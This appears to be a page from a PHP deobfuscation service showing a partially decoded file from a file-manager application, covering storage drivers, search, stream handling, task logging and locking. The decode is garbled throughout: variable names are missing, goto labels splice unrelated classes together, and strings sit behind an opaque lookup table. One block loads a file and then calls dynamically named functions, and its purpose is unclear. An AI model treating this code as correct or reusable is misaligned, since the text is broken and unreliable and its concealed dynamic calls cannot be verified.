[640])->field($[193])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[193]); $this- 
>_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[ 
]; if (!$[$[2061]] || $[$[451]][$[438]] > 1 || !$[$[192]]) { return; } $ = $this->sourceInfo($[$ 
[192]]); if (!$ || $[$[190]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[577]]; $ = Model($[2230 
])->get($); $ = array(); $ = $[$[2061]]; foreach ($[$[454]] as $) { $ = $[$[32]]; $ = 
str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $ 
[$[483]]; } } if (!$) { return; } $ = array($[508] => array($[7], $), $[1764] => 0, $[33] => $[2083] . 
$); $ = Model($[510])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ 
= array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $ 
) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[454]], $[12], $[193]); $ 
 = array_diff($, $); if (!$) { return; } $ = array($[193] => array($[7], $)); $ = $this->field($ 
)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $ 
)) { $[] = $; } } $[$[454]] = array_merge($, $[$[454]]); $[$[451]][$[452]] += count( 
$); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[493]] == $[91]; if (!s 
trstr($[$[592]], $[50] . $[$[192]] . $[50])) { return !1; } if (isset($[$[494]]) && $[$[494]] != $ 
[849]) { if ($[$[494]] == $[78] && !$) { return !1; } if ($[$[494]] != $[78] && $) { return !1; } if 
(!strstr($[$[169]], $[50] . $[$[494]] . $[50])) { return !1; } } if (isset($[$[2231]]) && $[$[2231 
]] < $[$[79]]) { return !1; } if (isset($[$[2232]]) && $[$[2232]] > $[$[79]]) { return !1; } if (isset($ 
[$[670]]) && $[$[670]] != $[$[537]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5 
000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[592] => array($[467], $[$[ 
592]] . $[$[193]] . $[621])); $ = $this->field($[79])->where($)->limit($ + 1)->select(); $ = is_array($) ? 
count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[193])->where($)->s 
elect(); $ = array_to_keyvalue($, $[12], $[193]); return $; } private function _listSearchChildrenNear($, $) { $ 
 =& $_SERVER[]; $ = array(); $ = array($[192] => $); $ = $this->field($[2233])->where($)->select 
(); $ = array_to_keyvalue(array_filter_by_field($, $[493], $[91]), $[12], $[193]); $ = array_merge($, 
array_to_keyvalue($, $[12], $[193])); if (!$) { return $; } $ = array($[192] => array($[7], $)); 
$ = $this->field($[2233])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12 
], $[193])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$ 
) { $ =& $_SERVER[]; if (!isset($[$[2061]]) || !$[$[2061]]) { return; } if (!Input::check($[$[2061]] 
, $[403]) || strlen($[$[2061]]) < 2) { return; } $ = "LEFT JOIN {$this->tablePrefix}io 
_source_meta meta on source.sourceI\10 
4 = meta.sourceID"; $ = array(); $ = str_replace(array($[262], $[53], $[2234 
]), $[12], $); $ = $[519] . str_replace($[50], $[520], $); $ = $[$[32]]; unset($[$[32]]); foreach 
($ as $ => $) { $[$[519] . $] = $; } foreach ($ as $) { $[] = array($[524] => $, 
$[1074] => $[2065], array($[2235] => $, $[2236] => array($[7], array($[546], $[545])))); } $this->join($ 
); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[83 
3]]) && $[$[833]]) { $[$[88]] = array($[2237], $[$[833]]); } if (isset($[$[834]]) && $[$ 
[834]]) { $ = array($[2238], $[$[834]]); if ($[$[88]]) { $[$[88]] = array($[$[88 
]], $, $[2239]); } else { $[$[88]] = $; } } if (isset($[$[2231]]) && $[$[2231]] > 0) { $ 
[$[79]] = array($[2237], $[$[2231]]); } if (isset($[$[2232]]) && $[$[2232]]) { $ = array($ 
[2238], $[$[2232]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $, $[2239]); } 
else { $[$[79]] = $; } } if (isset($[$[670]]) && $[$[670]]) { $[] = array($[537] => $[$ 
[670]], $[535] => $[$[670]], $[1074] => $[2065]); } if (isset($[$[494]]) && $[$[494]]) 
{ $ = $[$[494]]; if ($ == $[78]) { $[$[493]] = 1; } else { if ($ == $[2240]) { $[$ 
[493]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[494]] = array($[ 
500], $); $[$[493]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[2061]]) && trim($[$ 
[2061]])) { $ = trim($[$[2061]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == 
$[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = subs 
tr($, 1, -1); $ = array($); } $[$[32]] = array(array($[620], $[2063] . $ . $[2063])); if (cou 
nt($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = arr 
ay($[620], $[2063] . trim($) . $[2063]); } } } return $; } private function _parseSearchParent($, &$) 
{ $ =& $_SERVER[]; if (!isset($[$[192]]) || !$[$[192]]) { return; } $ = $this->pathInfo($[$ 
[192]]); $ = $[$[192]] . $[12] === $[228]; $ = $[$[190]] == $[586]; if ($[$[603]] == $ 
[604]) { $ = $this->sourceInfo($[$[192]]); $[$[592]] = $[$[592]]; } $[$[660]] = array($[ 
620], $[$[592]] . $[$[192]] . $[621]); $ = isset($[$[1921]]) && in_array($[586], $[$ 
[1921]]); if (!$ || !$ || !$ || !$[$[495]]) { return; } if (!AuthModel::authCheckRoot($[$[495]][$[49 
6]])) { return; } $ = $[$[577]] . $[12]; if ($ == $[91]) { unset($[$[660]]); $[$[190]] = se 
lf::TYPE_GROUP; return; } $ = Model($[593])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $ 
= array($[192] => 0, $[190] => self::TYPE_GROUP, $[577] => array($[7], $)); $ = $this->field($[2241])->wh 
ere($)->limit($)->select(); $[$[660]] = array(); foreach ($ as $) { $[$[660]][] = array($[620] 
, $[602] . $[$[193]] . $[621]); } $[$[660]][] = $[2065]; } } goto b; e: class PathDriverUrl e 
xtends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ = 
$this->info($); return $[$_SERVER[][232]]; } public function isFile($) { $ = $this->info($); return $[$_SER 
VER[][232]]; } public function isFolder($) { return !1; } public function size($) { $ = $this->info($); return $ 
[$_SERVER[][79]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $th 
is->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { re 
turn $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ || 
!$[$[823]]) { return !1; } $ = _get($, $[422], 0); $ = array($[32] => $[$[32]], $[87] => $, 
$[33] => $[230], $[79] => intval($), $[169] => get_path_ext($[$[32]]), $[1449] => $ > 0 && $[$ 
[1599]], $[1450] => !1); return $; } private function header($) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$ 
])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1600]]) ? $GLOBALS[$[1600]] : !1; $GLOBALS[$[1600]] = ! 
0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1600]] = $; return self::$_cacheHeader[$]; } public function h 
ashSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[232]]) { ret 
urn !1; } $ = $[$[79]]; $ = 200; $ = 50; if ($ <= $ * $) { return md5($this->fileSubstr($, 0, $ 
)) . $; } $ = intval($ / $); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ < 
$; $++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($, $ * $, $); if (!$ 
) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } 
public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $ = -1) { $ = 
& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[232]] && $[$[79]] > 1024 * 1024 * 10) { return !1; } if ( 
$ === -1) { $ = $[$[79]]; } if ($ == 0) { return $[12]; } $ = array($[1601] . $ . $[858] . ($ 
 + $ - 1)); $ = url_request($, $[261], !1, $, !1, !1, 30); return $[$[1283]] ? $[$[1283]] 
: $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private 
$path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function str 
eam_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[] 
[87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self:: 
$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pat 
hOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose 
+= strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ 
 =& $_SERVER[]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { 
if ($ == SEEK_END) { $this->pose = $this->info[$[79]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[ 
79]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function strea 
m_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[]; 
$ = $this->info($); return array($[1602] => 0, $[1603] => 0, $[16] => 32768 + 511, $[1604] => 0, $[16 
05] => 0, $[1606] => 0, $[1607] => 0, $[79] => $[$[79]], $[1608] => $[$[1448]], $[1564] => $ 
[$[88]], $[1563] => $[$[231]], $[1609] => 0, $[1610] => 0); } static $fileInfo = array(); public functio 
n info($) { $ = $_SERVER[][1611]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 
0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$ 
]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $-> 
stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } publ 
ic static function _read($, $, $) { $ =& $_SERVER[]; $ = fopen($, $[1452]); if (!$) { return 
$[12]; } $ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $ = min($ 
, $ - $); $ .= fread($, $); $ += $; } fclose($); return $; } public function fileSubstr($ 
, $) { $ =& $_SERVER[]; $ = $this->info[$[79]]; $ = $; $ = $; if ($ < 0) { $ = $ + 
$; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { retur 
n $[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("ioFil\x6 
5Read error! start={$};length={$}; siz 
5={$};"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ 
 = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if 
($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($, $ - $, $); } 
break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1612], $[1613] . count($) . ";\x7 
3tart={$},length={$};pose:{$}~{$}"); throw new Exception($ 
[1614]); } $ = intval($ / $) * $; $ = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr( 
$this->path, $, $); $[$ . $[12]] = $; ksort($); $ = substr($, $ - $, $); return $ 
; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ 
[1615], $, $this->info[$[32]], $, $), $[1260]); } } class Message { function __construct() { } public function sen 
d($ = '', $ = array(), $ = "text") { $ =& $_SERVER[]; $ = array($[33] => $[1616], $ 
[171] => $); if (in_array($, array($[1616], $[1617]))) { $[$[33]] = $; } $ = array($[586] = 
> isset($[$[586]]) ? $[$[586]] : $[12], $[670] => isset($[$[670]]) ? $[$[670]] : $[12 
]); if (empty($) || empty($[$[586]]) && empty($[$[670]])) { return !1; } $ = array($[1544] => $, $ 
[1618] => $); Hook::trigger($[1619], $); } } goto b; F: class TaskHttp extends Task { protected function star 
tAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1841]] = 1; Hook::bind($[1809], array($this, $[1842])); 
Hook::bind($[1811], array($this, $[1843])); Hook::bind($[1813], array($this, $[1844])); } protected function endAfter() 
{ $ =& $_SERVER[]; Hook::unbind($[1809], array($this, $[1842])); Hook::unbind($[1811], array($this, $[1843])); Hoo 
k::unbind($[1813], array($this, $[1844])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_geti 
nfo($); self::log($[1845] . $[$[392]]); self::valueSet($this->task[$[483]], $this->task); } public function prog 
ressEnd($ 
, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1137]] = $[$ 
[1137]] == 0 ? $ : $[$[1137]]; $[$[1765]] = $; } else { if ($ > 0) { $[$[1137]] = $[$[ 
1137]] == 0 ? $ : $[$[1137]]; $[$[1765]] = $; } } $this->update(); self::log("progress\ 
110ttp:down:{$}/{$}; upload:{$}/{$};"); } } class TaskLog { priv 
ate $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER 
[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1847] . 
$] = new TaskLog($[1748], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $ 
 =& $_SERVER[]; if (!$) { $ = $[1748]; } $ = $ . $[470] . rand_string(10); if (!$) { $ = $ . $ 
[53] . $; } switch ($) { case $[1748]: if (!$ || !$->task) { return echoLog($ . $[1848]); } $ = $ 
; $ = $->task[$[483]]; $ = $->task[$[483]]; if (!$->task[$[1653]]) { $->task[$[1653 
]] = $ ? $ : $; } break; case $[1849]: if (!$) { return echoLog($ . $[1850]); } $ = is_string($) ? 
array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addP 
ath($); } break; case $[398]: if (!$) { return echoLog($ . $[1850]); } $ = is_string($) ? array($) : 
$; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; ca 
se $[1295]: if (!$) { return echoLog($ . $[1850]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if 
($) { $->addFile($); } break; case $[152]: $ = new TaskHttp($, $); break; default: return; break; } $this 
->task = $; $this->taskID = $; Hook::bind($[1785], array($this, $[1851])); Hook::bind($[1787], array($this, $ 
[1852])); Hook::bind($[1781], array($this, $[1853])); echoLog($[1854] . $->task[$[1653]]); } public function 
__destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->tas 
k || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1785 
], array($this, $[1851])); Hook::unbind($[1787], array($this, $[1852])); Hook::unbind($[1781], array($this, $[1853] 
)); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[483]]) { return; } $ = 20; 
$ = intval($[$[1766]] * $); $ = $[176] . str_repeat($[958], $) . $[1088] . str_repeat($[53], $ - $ 
) . $[178]; $ = $ . sprintf($[1855], $[$[1766]] * 100) . $[1856]; $ = $ . $[$[1765]] . $[8] 
. $[$[1137]] . LNG($[1857]); $ = $[12]; if ($[$[1841]]) { $ = $ . size_format($[$[1765]]) . $[8] . 
size_format($[$[1137]]); $ = size_format($[$[1767]]) . $[1858]; } if ($[$[1139]]) { $[$[1815]] = $[$[11 
39]] . $[53] . $[$[1815]]; } if ($[$[1815]]) { $ = $[12]; if ($[$[1817]]) { $ = $[50] . size_format($[ 
$[1818]]) . $[8] . size_format($[$[1817]]); } $ .= $[$[1815]] . $; } if ($[$[836]] && !$[$[1817]]) { $ 
 .= $[53] . size_format($[$[1822]]) . $[8] . size_format($[$[836]]); } echoLog($ . $[53] . $, !0); } publi 
c function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[483]]) { return; } $ = $ ? 
$[$[1765]] . $[8] . $[$[1137]] . LNG($[1857]) . $[74] : $[12]; echoLog($[1859] . $[$[ 
1653]] . ($[$[534]] ? $[74] . $[$[534]] : $[12]) . $[74] . $ . $[1860] . sprintf($[924], t 
imeFloat() - $[$[1768]]) . $[1780]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$ 
 || $this->taskID != $[$[483]]) { return; } echoLog($[1861] . $[$[1653]]); } } $_file = $_SERVER[$_SERVER[][322 
]]; goto b; d: if ($_SERVER[$_SERVER[][321]] != $_SERVER[$_SERVER[][913]]) { $_getc = $_SERVER[][323]; $_getfile 
= $_SERVER[$_SERVER[][324]] . $_SERVER[][325]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getf 
ilec); if (count($_getarrs) < $_SERVER[][326]) { $exit = $_SERVER[][327]; $exit(); } $_act = $_SERVER[][328]; $_act($_SERV 
ER[$_SERVER[][322]]); } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protec 
ted static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ 
 = $GLOBALS[$[6]][$[434]]; self::$timeout = $[$[914]] ? $[$[914]] : 10; $ = _get($GLOBALS[$[6] 
], $[915]); $ = $[$[899]] ? $[$[899]] : $[230]; if ($ == $[21] && $ == $[13]) { $ 
 = $[230]; } switch ($) { case $[902]: self::$handle = new CacheLockRedis(); break; case $[903]: self::$handle = new 
CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[230]: self::$handle = new CacheLoc 
kFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[916], $[917]); } return self::$handle; } private static 
function key($) { return $_SERVER[][918] . Cache::key($); } public static function initReset() { self::$handle = !1; } pub 
lic static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($ 
, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init(); 
$ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); $ = $->lock($, $); $ = 
timeFloat(); if (!$) { $ = "lock error;key={$};time={$}\7 
3" . self::$errorMsg . $[74] . get_caller_msg(); $ = LNG($[919]) . "({$}s)." . LNG($[920]); $ .= $[ 
921]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[922] . self::$errorMsg; } write_log($[923] . sprintf($ 
[924], timeFloat() - $) . $[925] . $ . $[926] . error_get_last(), $[917]); show_json($, !1); } if (!$ 
) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[927] . $ 
 . $[928] . $, $[917]); } return $; } public static function lockGet($) { $ = self::key($); if (self:: 
$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ = 
& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write 
_log($[929] . $, $[917]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init 
(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $ 
= !0; write_log($[930] . $ . $[74] . get_caller_msg(), $[917]); continue; } write_log($[930] . $, $[917]); } 
self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[931] . $ . $ 
[932] . ACTION, $[917]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[933]]) { $GL 
OBALS[$[933]] = array(); } $GLOBALS[$[933]][$] = !1; $ = fopen(DATA_PATH . $ . $[934], $[935]); if (!$ 
) { return !1; } $GLOBALS[$[933]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($ 
[936], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[933]][$]; if (!$ 
) { return; } $GLOBALS[$[933]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ = 
& $_SERVER[]; if (!isset($GLOBALS[$[933]]) || !$GLOBALS[$[933]]) { return; } foreach ($GLOBALS[$[933]] as $ => $ 
) { if (!$) { continue; } $GLOBALS[$[933]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[933]] = ar 
ray(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto a; d: class UserTagSourceModel extends ModelBase { prote 
cted $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return arr 
ay($[2078] => array($[2493] . USER_ID, $[2079])); } protected function listData() { $ =& $_SERVER[]; $ = arra 
y($[1755] => USER_ID, $[565] => array($[2082], 0)); $ = $[2494]; $ = $this->field($)->where($)->orde 
r($[2085])->select(); return $ ? $ : array(); } protected function addToTag($, $) { $ =& $_SERVER[]; if 
(!Model($[2229])->listData($)) { return !1; } if (is_numeric($)) { $ = Model($[897])->pathInfo($); if (!$) { 
return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $ = $[$[32]]; $ = $[$[33]]; if ( 
isset($[$[493]])) { $ = $[$[493]] == $[91] ? $[78] : $[230]; } } $ = array($[1755] => US 
ER_ID, $[565] => $, $[503] => $, $[504] => $ ? $ : $[498], $[502] => $ ? $ : $ 
[12], $[1967] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag 
($, $) { $ =& $_SERVER[]; if (!Model($[2229])->listData($)) { return !1; } if (is_array($)) { $ 
= array($[7], $); } $ = array($[1755] => USER_ID, $[565] => $, $[503] => $); return $this->where($ 
)->delete(); } protected function removeByTag($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = array($[175 
5] => USER_ID, $[565] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[ 
]; if (is_array($)) { $ = array($[7], $); } $ = array($[1755] => USER_ID, $[565] => array($[1088], 0), $ 
[503] => $); return $this->where($)->delete(); } } ?>

Did this file decode correctly?

Original Code

=& $_SERVER[]; if ($this->signVer == $[247]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $
); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $[8]), 3600 * 12, $this->region,
array(), !0, $); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($thi
s->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); }
$ = get_file_mime(get_path_ext($)); if ($ == $[248]) { return parent::fileOut($, $, $, $); } $
= array($[249] => $); if ($) { $[$[250]] = $[251] . rawurlencode($); } else { } $ = $this->link($
, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fi
leOut($, $, $, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } p
ublic function hashMd5($, $ = '') { $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($
, $_SERVER[][252]); return $; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $th
is->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $[229], $); return array_merge((a
rray) $, array($[208] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[
]; $ = gmdate($[253]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) {
return !1; } return array($[254] => $, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $
, $[97] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($
[$[255]]) ? $[$[255]] : gmdate($[253]); $ = isset($[$[169]]) ? $[$[169]] : $[12]; $
 = $[$[97]]; unset($[$[97]]); if (isset($[$[256]])) { $[$[255]] = $; return $this->listUplo
adParts($, $); } $ = array($[257], $[12], $[123], $[12], "\170\x2d\x61\x6d\172\55\x64\x61\164\145\x3a{
$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $); if (strpos($, $[258]) === 0) { $[0]
= $[259]; } if (isset($[$[260]]) && $[$[260]] == $[261]) { $[0] = $[261]; } $ = implode($
[262], $); $ = base64_encode(hash_hmac($[263], $, $this->secret, !0)); $ = $[264] . $this->accessKey
. $[4] . $; if (strpos($, $[258]) === 0) { return array($[265] => $, $[255] => $); } return $
; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ = str_replace($[266], $[12]
, $[$[169]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } unset($[$
[256]], $[$[260]]); $[$[97]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { retu
rn !1; } return array($[265] => $, $[255] => $[$[255]], $[267] => $); } public function getHost() {
$ =& $_SERVER[]; $ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($thi
s->osType, array($[70], $[64], $[69], $[62]))) { return $ . $[8] . $this->bucket; } $ = explode($
[210], $); return $[0] . $[210] . $this->bucket . $[10] . $[1]; } public function size($) { $ = $this
->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $t
his->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) {
return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objec
tMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][179], $); } protected function objectMet
a($) { return $this->cacheMethod($_SERVER[][181], $); } protected function _objectMeta($) { $ =& $_SERVER[];
$ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[252]]) && isse
t($[$[268]])) { $[$[252]] = $[$[268]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $
; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $
== $[8]) { return !0; } $
										 = $this->client->getBucket($this->bucket, $, null, 1); if (empty($
																																				[$[236]])) { return !1; }
$ = $
				[$[236]][0][$[32]]; return stripos($, $ . $[8]) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { r
eturn !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } public function listObject($) { return $this
->fileList($, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { $ =
& $_SERVER[]; parent::__construct($); $this->setSignVersion($[247]); if (!$this->region) { $this->region = $[269]; $this->cli
ent->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucket
Cors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ = $this->getBucketRgn(); return
$this->region == $ ? !0 : !1; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[229
]; $ = $[270]; $ = $[62]; $ = gmdate($[271]); $ = gmdate($[272]); $ = $[273]; $ = $ .
$[12]; $ = $[274]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $
); $ = array($[275] => gmdate($[276], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), arra
y($[280] => $), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $
[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $), array($[288] => $),
array($[289] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[290], $, $[291] . $this->secre
t, !0); $ = hash_hmac($[290], $this->region, $, !0); $ = hash_hmac($[290], $, $, !0); $ = hash_hmac($
[290], $, $, !0); $ = hash_hmac($[290], $, $); $ = array($[246] => $[12], $[292] => $
[12], $[280] => $, $[285] => $, $[293] => $, $[294] => $, $[295] => $, $[296] =
> $, $[297] => $, $[298] => $, $[208] => $this->getHost()); return $; } } goto a; E: class UserJo
bModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\56\152\157\x62\114\151\163\x74"; public $field = array("\156\
x61\x6d\x65", "\144\145\x73\143", "\x73\157\162\x74"); const JOB_KEY = "\163\145\x6c\146\112\x6f\142\x4c\151\x73\x74"; public function listD
ata($ = false, $ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($, $, $); } public function remove($
) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]]
)) { return !1; } $[$[1987]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[
]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); return empty($) ? 0 : max($) + 1;
} public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$
[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1; } return parent::update($, $); } public fun
ction setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listDa
ta(); $ = array_to_keyvalue($, $[32]); $ = $[329]; foreach ($ as $) { if ($[$]) { $ .= $[$
][$[483]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($
[606])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][606])->metaGet($
